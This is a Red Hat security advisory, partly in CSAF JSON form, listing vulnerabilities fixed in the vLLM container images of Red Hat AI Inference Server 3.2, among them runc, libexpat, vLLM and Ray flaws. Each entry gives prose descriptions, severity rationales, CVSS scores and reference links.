"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2395108"
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"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-59375",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-59375"
},
{
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"summary": "https://www.mozilla.org/security/advisories/mfsa2026-22/#CVE-2025-59375",
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{
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"cwe": {
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},
{
"category": "other",
"text": "The RedHat security team has rated the severity of this issue as Important. The vulnerability is remotely exploitable without authentication or user interaction and can result in authentication bypass. The root cause was the use of a non-constant-time string comparison, which leaked timing information. Successful exploitation could lead to unauthorized access to APIs and sensitive resources.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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"text": "ray: Ray is vulnerable to RCE via Safari \u0026 Firefox Browsers through DNS Rebinding Attack",
"title": "Vulnerability summary"
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{
"category": "other",
"text": "Red Hat has chosen to keep this as Important instead of Critical severity because the successful exploitation of this vulnerability requires user interaction in conjunction with a DNS rebinding attack.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
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},
{
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"text": "starlette: Starlette DoS via Range header merging",
"title": "Vulnerability summary"
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"ids": [
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"title": "Vulnerability description"
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{
"category": "summary",
"text": "vllm: vLLM: Remote Code Execution via malicious model configuration",
"title": "Vulnerability summary"
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{
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"text": "This vulnerability is rated Important for Red Hat because vLLM, when deployed in a Red Hat environment, is susceptible to remote code execution. An attacker can craft a malicious model configuration that, when loaded, fetches and executes arbitrary Python code from a remote repository, even if `trust_remote_code` is explicitly set to `False`.",
"title": "Statement"
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{
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"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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{
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{
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{
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"scope": "UNCHANGED",
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RHSA-2025:23204
Vulnerability from csaf_redhat - Published: 2025-12-15 15:38 - Updated: 2026-07-06 00:10A flaw was found in the OpenSSL CMS implementation (RFC 3211 KEK Unwrap). This vulnerability allows memory corruption, an application level denial of service, or potential execution of attacker-supplied code via crafted CMS messages using password-based encryption (PWRI).
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:f0ab1b678e9447eae4b6b2fe5c58531aa8524133db157f196726164e4dc20492_arm64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in libxstl/libxml2. The 'exsltDynMapFunction' function in libexslt/dynamic.c does not contain a recursion depth check, which may cause an infinite loop via a specially crafted XSLT document while handling 'dyn:map()', leading to stack exhaustion and a local denial of service.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:f0ab1b678e9447eae4b6b2fe5c58531aa8524133db157f196726164e4dc20492_arm64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in the `golang.org/x/oauth2/jws` package in the token parsing component. This vulnerability is made possible because of the use of `strings.Split(token, ".")` to split JWT tokens, which can lead to excessive memory consumption when processing maliciously crafted tokens with a large number of `.` characters. An attacker could exploit this functionality by sending numerous malformed tokens and can trigger memory exhaustion and a Denial of Service.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:f0ab1b678e9447eae4b6b2fe5c58531aa8524133db157f196726164e4dc20492_arm64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in the golang.org/x/crypto/ssh package. SSH clients and servers are vulnerable to increased resource consumption, possibly leading to memory exhaustion and a DoS. This can occur during key exchange when the other party is slow to respond during key exchange.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:f0ab1b678e9447eae4b6b2fe5c58531aa8524133db157f196726164e4dc20492_arm64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in runc. CVE-2025-52565 is very similar in concept and application toCVE-2025-31133, except that it exploits a flaw in /dev/console bind-mounts. When creating the /dev/console bind-mount (to /dev/pts/$n), if an attacker replaces /dev/pts/$n with a symlink then runc will bind-mount the symlink target over /dev/console.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:f0ab1b678e9447eae4b6b2fe5c58531aa8524133db157f196726164e4dc20492_arm64 | — |
Vendor Fix
fix
Workaround
|
A memory amplification vulnerability in libexpat allows attackers to trigger excessive dynamic memory allocations by submitting specially crafted XML input. A small input (~250 KiB) can cause the parser to allocate hundreds of megabytes, leading to denial-of-service (DoS) through memory exhaustion.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:f0ab1b678e9447eae4b6b2fe5c58531aa8524133db157f196726164e4dc20492_arm64 | — |
Vendor Fix
fix
Workaround
|
A vulnerability in vLLM allows attackers to supply malicious serialized prompt-embedding tensors that are deserialized using torch.load() without validation. Due to PyTorch 2.8.0 disabling sparse-tensor integrity checks by default, a crafted tensor can bypass bounds checks and cause an out-of-bounds write during to_dense(), leading to a crash (DoS) and potentially remote code execution on the vLLM server.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:f0ab1b678e9447eae4b6b2fe5c58531aa8524133db157f196726164e4dc20492_arm64 | — |
Vendor Fix
fix
Workaround
|
A denial-of-service vulnerability in vLLM allows an attacker with API access to crash the engine by submitting multimodal embedding tensors that have the correct number of dimensions but an invalid internal shape. Because vLLM validates only the tensor’s ndim and not the full expected shape, malformed embeddings trigger shape mismatches or validation failures during processing, causing the inference engine to terminate.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:f0ab1b678e9447eae4b6b2fe5c58531aa8524133db157f196726164e4dc20492_arm64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in Ray’s HTTP API endpoint handling (e.g. /api/jobs, /api/job_agent/jobs/), which allows a remote attacker to trigger arbitrary code execution when a developer using Ray visits a malicious website in a vulnerable browser (e.g. Firefox or Safari). The root cause is an insufficient defense relying solely on the User-Agent header starting with “Mozilla”, which can be manipulated under the fetch specification — enabling a DNS-rebinding attack to bypass browser-based protections.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:f0ab1b678e9447eae4b6b2fe5c58531aa8524133db157f196726164e4dc20492_arm64 | — |
Vendor Fix
fix
Workaround
|
A remote code execution vulnerability has been identified in vLLM. An attacker can exploit a weakness in the model loading process to silently fetch and run unauthorized, malicious Python code on the host system. This happens because the engine mistakenly executes code from a remote repository referenced in a model's configuration, even when explicit security measures are set to prevent it.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:f0ab1b678e9447eae4b6b2fe5c58531aa8524133db157f196726164e4dc20492_arm64 | — |
Vendor Fix
fix
Workaround
|
A flaw was found in Fulcio, a free-to-use certificate authority. This vulnerability allows a denial of service (DoS) due to excessive memory allocation when processing a malicious OpenID Connect (OIDC) identity token containing numerous period characters.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:f0ab1b678e9447eae4b6b2fe5c58531aa8524133db157f196726164e4dc20492_arm64 | — |
Vendor Fix
fix
|
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{
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"text": "A flaw was found in the OpenSSL CMS implementation (RFC 3211 KEK Unwrap). This vulnerability allows memory corruption, an application level denial of service, or potential execution of attacker-supplied code via crafted CMS messages using password-based encryption (PWRI).",
"title": "Vulnerability description"
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},
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"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
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"title": "Vulnerability description"
},
{
"category": "summary",
"text": "libxslt: libxml2: Inifinite recursion at exsltDynMapFunction function in libexslt/dynamic.c",
"title": "Vulnerability summary"
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{
"category": "other",
"text": "No evidence was found for arbitrary memory corruption through this flaw, limiting its impact to Availability only, and reducing its severity to Moderate.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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"category": "external",
"summary": "https://gitlab.gnome.org/GNOME/libxml2/-/commit/677a42645ef22b5a50741bad5facf9d8a8bc6d21",
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"ids": [
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"title": "Vulnerability summary"
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{
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"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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"summary": "https://pkg.go.dev/vuln/GO-2025-3488",
"url": "https://pkg.go.dev/vuln/GO-2025-3488"
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"text": "golang.org/x/crypto/ssh: Denial of Service in the Key Exchange of golang.org/x/crypto/ssh",
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"title": "Statement"
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{
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"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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"title": "golang.org/x/crypto/ssh: Denial of Service in the Key Exchange of golang.org/x/crypto/ssh"
},
{
"cve": "CVE-2025-52565",
"cwe": {
"id": "CWE-59",
"name": "Improper Link Resolution Before File Access (\u0027Link Following\u0027)"
},
"discovery_date": "2025-10-17T14:19:18.653000+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2404708"
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{
"category": "description",
"text": "A flaw was found in runc. CVE-2025-52565 is very similar in concept and application toCVE-2025-31133, except that it exploits a flaw in /dev/console\nbind-mounts. When creating the /dev/console bind-mount (to /dev/pts/$n), if an attacker replaces /dev/pts/$n with a symlink then runc will bind-mount the symlink target over /dev/console.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "runc: container escape with malicious config due to /dev/console mount and related races",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat considers this as an Important flaw since the impact is limited to local attack with minimal privileges in order to jeopardize the environment.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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{
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52565"
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{
"category": "external",
"summary": "https://github.com/opencontainers/runc/security/advisories/GHSA-qw9x-cqr3-wc7r",
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"release_date": "2025-11-05T00:00:00+00:00",
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"date": "2025-12-15T15:38:04+00:00",
"details": "For more information visit https://access.redhat.com/errata/RHSA-2025:23204",
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"title": "runc: container escape with malicious config due to /dev/console mount and related races"
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{
"cve": "CVE-2025-59375",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2025-09-15T03:00:59.775098+00:00",
"ids": [
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"system_name": "Red Hat Bugzilla ID",
"text": "2395108"
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"category": "description",
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"title": "Vulnerability description"
},
{
"category": "summary",
"text": "firefox: thunderbird: expat: libexpat in Expat allows attackers to trigger large dynamic memory allocations via a small document that is submitted for parsing",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This issue is Important rather than Critical because, while it allows for significant resource exhaustion leading to denial-of-service (DoS), it does not enable arbitrary code execution, data leakage, or privilege escalation. The vulnerability stems from an uncontrolled memory amplification behavior in libexpat\u2019s parser, where a relatively small XML payload can cause disproportionately large heap allocations. However, the flaw is limited in scope to service disruption and requires the attacker to submit a crafted XML document\u2014something that can be mitigated with proper input validation and memory usage limits. Therefore, while the exploitability is high, the impact is confined to availability, not confidentiality or integrity, making it a high-severity but not critical flaw.\n\nIn Firefox and Thunderbird, where libexpat is a transitive userspace dependency, exploitation usually just crashes the application (app-level DoS), so it is classified as Moderate instead of Important.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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"url": "https://www.cve.org/CVERecord?id=CVE-2025-59375"
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{
"category": "external",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59375"
},
{
"category": "external",
"summary": "https://www.mozilla.org/security/advisories/mfsa2026-22/#CVE-2025-59375",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-22/#CVE-2025-59375"
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"category": "workaround",
"details": "To mitigate the issue, limit XML input size and complexity before parsing, and avoid accepting compressed or deeply nested XML. Use OS-level resource controls (like ulimit or setrlimit()) to cap memory usage, or run the parser in a sandboxed or isolated process with strict memory and CPU limits. This helps prevent denial-of-service by containing excessive resource consumption.",
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"attackVector": "NETWORK",
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"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
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"title": "firefox: thunderbird: expat: libexpat in Expat allows attackers to trigger large dynamic memory allocations via a small document that is submitted for parsing"
},
{
"cve": "CVE-2025-62164",
"cwe": {
"id": "CWE-787",
"name": "Out-of-bounds Write"
},
"discovery_date": "2025-11-21T02:01:11.280042+00:00",
"ids": [
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"system_name": "Red Hat Bugzilla ID",
"text": "2416282"
}
],
"notes": [
{
"category": "description",
"text": "A vulnerability in vLLM allows attackers to supply malicious serialized prompt-embedding tensors that are deserialized using torch.load() without validation. Due to PyTorch 2.8.0 disabling sparse-tensor integrity checks by default, a crafted tensor can bypass bounds checks and cause an out-of-bounds write during to_dense(), leading to a crash (DoS) and potentially remote code execution on the vLLM server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "vllm: VLLM deserialization vulnerability leading to DoS and potential RCE",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is considered important rather than moderate because it involves unsafe deserialization leading to memory corruption in a network-reachable, unauthenticated API path. Unlike typical moderate flaws that may only allow limited DoS or require specific conditions, this issue allows an attacker to supply a crafted sparse tensor that triggers an out-of-bounds memory write during PyTorch\u2019s to_dense() conversion. Memory corruption in a server process handling untrusted input significantly elevates security risk because it can lead not only to a reliable crash but also to potential remote code execution, enabling full compromise of the vLLM service. Additionally, the affected code path is part of the standard Completions API workflow, making the attack surface broadly exposed in real deployments. The combination of remote exploitability, unauthenticated access, memory corruption, and potential RCE clearly positions this issue above a moderate classification and into an important severity level.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62164"
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"summary": "https://github.com/vllm-project/vllm/commit/58fab50d82838d5014f4a14d991fdb9352c9c84b",
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"baseScore": 8.8,
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
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"threats": [
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"details": "Important"
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"title": "vllm: VLLM deserialization vulnerability leading to DoS and potential RCE"
},
{
"cve": "CVE-2025-62372",
"cwe": {
"id": "CWE-129",
"name": "Improper Validation of Array Index"
},
"discovery_date": "2025-11-21T02:00:57.180567+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2416280"
}
],
"notes": [
{
"category": "description",
"text": "A denial-of-service vulnerability in vLLM allows an attacker with API access to crash the engine by submitting multimodal embedding tensors that have the correct number of dimensions but an invalid internal shape. Because vLLM validates only the tensor\u2019s ndim and not the full expected shape, malformed embeddings trigger shape mismatches or validation failures during processing, causing the inference engine to terminate.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "vllm: vLLM vulnerable to DoS with incorrect shape of multimodal embedding inputs",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This flaw is rated Moderate rather than Important because its impact is strictly limited to availability and requires low but existing privileges to exploit. The issue arises from incomplete shape validation of multimodal embedding tensors, which can cause deterministic crashes in the inference engine, but it does not enable memory corruption, data leakage, integrity compromise, or execution of arbitrary code. Exploitation requires an authenticated or API-key-holding user to submit malformed multimodal inputs, meaning it cannot be triggered by an unauthenticated attacker on an exposed endpoint. Additionally, the failure mode is a clean crash rather than undefined behavior, so the blast radius is constrained to service interruption rather than broader systemic compromise. These factors\u2014PR:L requirement, no confidentiality/integrity impact, deterministic failure mode, and scoped DoS only\u2014technically align the issue with Moderate severity instead of an Important flaw.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62372"
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"summary": "https://github.com/vllm-project/vllm/pull/27204",
"url": "https://github.com/vllm-project/vllm/pull/27204"
},
{
"category": "external",
"summary": "https://github.com/vllm-project/vllm/pull/6613",
"url": "https://github.com/vllm-project/vllm/pull/6613"
},
{
"category": "external",
"summary": "https://github.com/vllm-project/vllm/security/advisories/GHSA-pmqf-x6x8-p7qw",
"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-pmqf-x6x8-p7qw"
}
],
"release_date": "2025-11-21T01:22:37.121000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2025-12-15T15:38:04+00:00",
"details": "For more information visit https://access.redhat.com/errata/RHSA-2025:23204",
"product_ids": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64",
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],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2025:23204"
},
{
"category": "workaround",
"details": "No mitigation is currently available that meets Red Hat Product Security\u2019s standards for usability, deployment, applicability, or stability.",
"product_ids": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64",
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]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
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]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "vllm: vLLM vulnerable to DoS with incorrect shape of multimodal embedding inputs"
},
{
"cve": "CVE-2025-62593",
"cwe": {
"id": "CWE-94",
"name": "Improper Control of Generation of Code (\u0027Code Injection\u0027)"
},
"discovery_date": "2025-11-26T23:01:25.307125+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2417394"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Ray\u2019s HTTP API endpoint handling (e.g. /api/jobs, /api/job_agent/jobs/), which allows a remote attacker to trigger arbitrary code execution when a developer using Ray visits a malicious website in a vulnerable browser (e.g. Firefox or Safari). The root cause is an insufficient defense relying solely on the User-Agent header starting with \u201cMozilla\u201d, which can be manipulated under the fetch specification \u2014 enabling a DNS-rebinding attack to bypass browser-based protections.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "ray: Ray is vulnerable to RCE via Safari \u0026 Firefox Browsers through DNS Rebinding Attack",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat has chosen to keep this as Important instead of Critical severity because the successful exploitation of this vulnerability requires user interaction in conjunction with a DNS rebinding attack.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:7b04c0154c486aa7dd103ddeaf6bea7b9851859c33a4b979a85261a44a7b77f2_amd64",
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-cuda-rhel9@sha256:f0ab1b678e9447eae4b6b2fe5c58531aa8524133db157f196726164e4dc20492_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-62593"
},
{
"category": "external",
"summary": "RHBZ#2417394",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2417394"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-62593",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62593"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-62593",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62593"
},
{
"category": "external",
"summary": "https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09",
"url": "https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09"
},
{
"category": "external",
"summary": "https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v",
"url": "https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v"
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],
"release_date": "2025-11-26T22:28:28.577000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2025-12-15T15:38:04+00:00",
"details": "For more information visit https://access.redhat.com/errata/RHSA-2025:23204",
"product_ids": [
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},
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},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options don\u0027t meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
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]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
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}
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"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "ray: Ray is vulnerable to RCE via Safari \u0026 Firefox Browsers through DNS Rebinding Attack"
},
{
"cve": "CVE-2025-66448",
"cwe": {
"id": "CWE-94",
"name": "Improper Control of Generation of Code (\u0027Code Injection\u0027)"
},
"discovery_date": "2025-12-01T23:01:07.198041+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2418152"
}
],
"notes": [
{
"category": "description",
"text": "A remote code execution vulnerability has been identified in vLLM. An attacker can exploit a weakness in the model loading process to silently fetch and run unauthorized, malicious Python code on the host system. This happens because the engine mistakenly executes code from a remote repository referenced in a model\u0027s configuration, even when explicit security measures are set to prevent it.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "vllm: vLLM: Remote Code Execution via malicious model configuration",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat because vLLM, when deployed in a Red Hat environment, is susceptible to remote code execution. An attacker can craft a malicious model configuration that, when loaded, fetches and executes arbitrary Python code from a remote repository, even if `trust_remote_code` is explicitly set to `False`.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
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"references": [
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"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-66448"
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{
"category": "external",
"summary": "RHBZ#2418152",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418152"
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{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-66448",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66448"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-66448",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66448"
},
{
"category": "external",
"summary": "https://github.com/vllm-project/vllm/commit/ffb08379d8870a1a81ba82b72797f196838d0c86",
"url": "https://github.com/vllm-project/vllm/commit/ffb08379d8870a1a81ba82b72797f196838d0c86"
},
{
"category": "external",
"summary": "https://github.com/vllm-project/vllm/pull/28126",
"url": "https://github.com/vllm-project/vllm/pull/28126"
},
{
"category": "external",
"summary": "https://github.com/vllm-project/vllm/security/advisories/GHSA-8fr4-5q9j-m8gm",
"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-8fr4-5q9j-m8gm"
}
],
"release_date": "2025-12-01T22:45:42.566000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2025-12-15T15:38:04+00:00",
"details": "For more information visit https://access.redhat.com/errata/RHSA-2025:23204",
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},
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},
{
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"details": "Red Hat has investigated whether a possible mitigation exists for this issue, and has not been able to identify a practical example. Please update the affected package as soon as possible.",
"product_ids": [
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"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
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"threats": [
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"details": "Important"
}
],
"title": "vllm: vLLM: Remote Code Execution via malicious model configuration"
},
{
"cve": "CVE-2025-66506",
"cwe": {
"id": "CWE-405",
"name": "Asymmetric Resource Consumption (Amplification)"
},
"discovery_date": "2025-12-04T23:01:20.507333+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2419056"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Fulcio, a free-to-use certificate authority. This vulnerability allows a denial of service (DoS) due to excessive memory allocation when processing a malicious OpenID Connect (OIDC) identity token containing numerous period characters.",
"title": "Vulnerability description"
},
{
"category": "summary",
